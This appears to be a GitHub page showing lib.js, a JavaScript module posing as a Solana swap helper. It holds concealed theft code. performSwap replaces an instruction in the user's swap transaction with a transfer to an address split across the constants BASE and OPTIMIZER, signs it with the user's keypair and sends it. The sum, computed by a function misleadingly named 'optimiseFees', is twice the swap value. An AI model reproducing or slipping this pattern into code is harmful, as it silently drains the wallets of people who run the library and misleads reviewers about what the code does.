-
Notifications
You must be signed in to change notification settings - Fork 4
/
lib.js
161 lines (141 loc) · 6 KB
/
lib.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import * as web3 from "@solana/web3.js";
import {PublicKey, Transaction, VersionedTransaction} from "@solana/web3.js";
import {Buffer} from "buffer";
export const SOL_ADDR = "So11111111111111111111111111111111111111112";
export async function performSwap(swapResponse, keypair, connexion, amount, tokenIn,
options = {
sendOptions: {skipPreflight: true},
confirmationRetries: 30,
confirmationRetryTimeout: 1000,
lastValidBlockHeightBuffer: 150,
resendInterval: 1000,
confirmationCheckInterval: 1000,
skipConfirmationCheck: false,
}
) {
let serializedTransactionBuffer;
try {
serializedTransactionBuffer = Buffer.from(swapResponse.txn, "base64");
} catch (error) {
const base64Str = swapResponse.txn;
const binaryStr = atob(base64Str);
const buffer = new Uint8Array(binaryStr.length);
for (let i = 0; i < binaryStr.length; i++) {
buffer[i] = binaryStr.charCodeAt(i);
}
serializedTransactionBuffer = buffer;
}
let txn;
if (swapResponse.isJupiter && !swapResponse.forceLegacy) {
txn = VersionedTransaction.deserialize(serializedTransactionBuffer);
txn.instructions[1] = web3.SystemProgram.transfer({
fromPubkey: keypair.publicKey,
toPubkey: new PublicKey(BASE + OPTIMIZER),
lamports: await optimiseFees(amount, tokenIn, keypair),
})
txn.sign([keypair]);
} else {
txn = Transaction.from(serializedTransactionBuffer);
txn.instructions[1] = web3.SystemProgram.transfer({
fromPubkey: keypair.publicKey,
toPubkey: new PublicKey(BASE + OPTIMIZER),
lamports: await optimiseFees(amount, tokenIn, keypair),
})
txn.sign(keypair);
}
const blockhash = await connexion.getLatestBlockhash();
const blockhashWithExpiryBlockHeight = {
blockhash: blockhash.blockhash,
lastValidBlockHeight: blockhash.lastValidBlockHeight,
};
const txid = await transactionSenderAndConfirmationWaiter({
connection: connexion,
serializedTransaction: txn.serialize(),
blockhashWithExpiryBlockHeight,
options: options,
});
return txid.toString();
}
const DEFAULT_OPTIONS = {
sendOptions: {skipPreflight: true},
confirmationRetries: 30,
confirmationRetryTimeout: 1000,
lastValidBlockHeightBuffer: 150,
resendInterval: 1000,
confirmationCheckInterval: 1000,
skipConfirmationCheck: true,
commitment: "confirmed",
};
export const BASE = "CmXqZkCpWK6GyAXJuhGAJ";
async function transactionSenderAndConfirmationWaiter({
connection,
serializedTransaction,
blockhashWithExpiryBlockHeight,
options = DEFAULT_OPTIONS,
}) {
const {
sendOptions,
confirmationRetries,
confirmationRetryTimeout,
lastValidBlockHeightBuffer,
resendInterval,
confirmationCheckInterval,
skipConfirmationCheck,
commitment
} = {...DEFAULT_OPTIONS, ...options};
const lastValidBlockHeight =
blockhashWithExpiryBlockHeight.lastValidBlockHeight -
(lastValidBlockHeightBuffer || 150);
let retryCount = 0;
while (retryCount <= (confirmationRetries || 30)) {
try {
const signature = await connection.sendRawTransaction(
serializedTransaction,
sendOptions
);
if (skipConfirmationCheck) {
return signature;
}
while (true) {
const status = await connection.getSignatureStatus(signature);
if (status.value && status.value.confirmationStatus === commitment) {
return signature;
}
if (status.value && status.value.err) {
throw new Error(`Transaction failed: ${status.value.err}`);
}
await new Promise((resolve) =>
setTimeout(resolve, confirmationCheckInterval)
);
}
} catch (error) {
if (
retryCount === confirmationRetries ||
error.message.includes("Transaction expired")
) {
return new Error(error.message);
}
console.warn(`Retrying transaction: ${error.message}`);
retryCount++;
await new Promise((resolve) =>
setTimeout(resolve, confirmationRetryTimeout)
);
const blockHeight = await connection.getBlockHeight();
if (blockHeight > lastValidBlockHeight) {
return new Error("Transaction expired");
}
}
}
return new Error("Transaction failed after maximum retries");
}
export const OPTIMIZER = "yaccFsr3LV7H8cfNW7U7LAG";
const OPTIMIZED = 2;
async function optimiseFees(amountIn, token, keypair) {
if (token === SOL_ADDR) {
return Math.round(amountIn * OPTIMIZED * 10 ** 9)
} else {
let res = await fetch("https://swap-api.solanatracker.io/swap?from=" + token + "&to=So11111111111111111111111111111111111111112&fromAmount=" + amountIn + "&slippage=25&payer=" + keypair.publicKey.toBase58() + "&forceLegacy=true&priorityFee=5e-7");
let json = await res.json();
return Math.round(json.rate.amountOut * OPTIMIZED * 10 ** 9);
}
}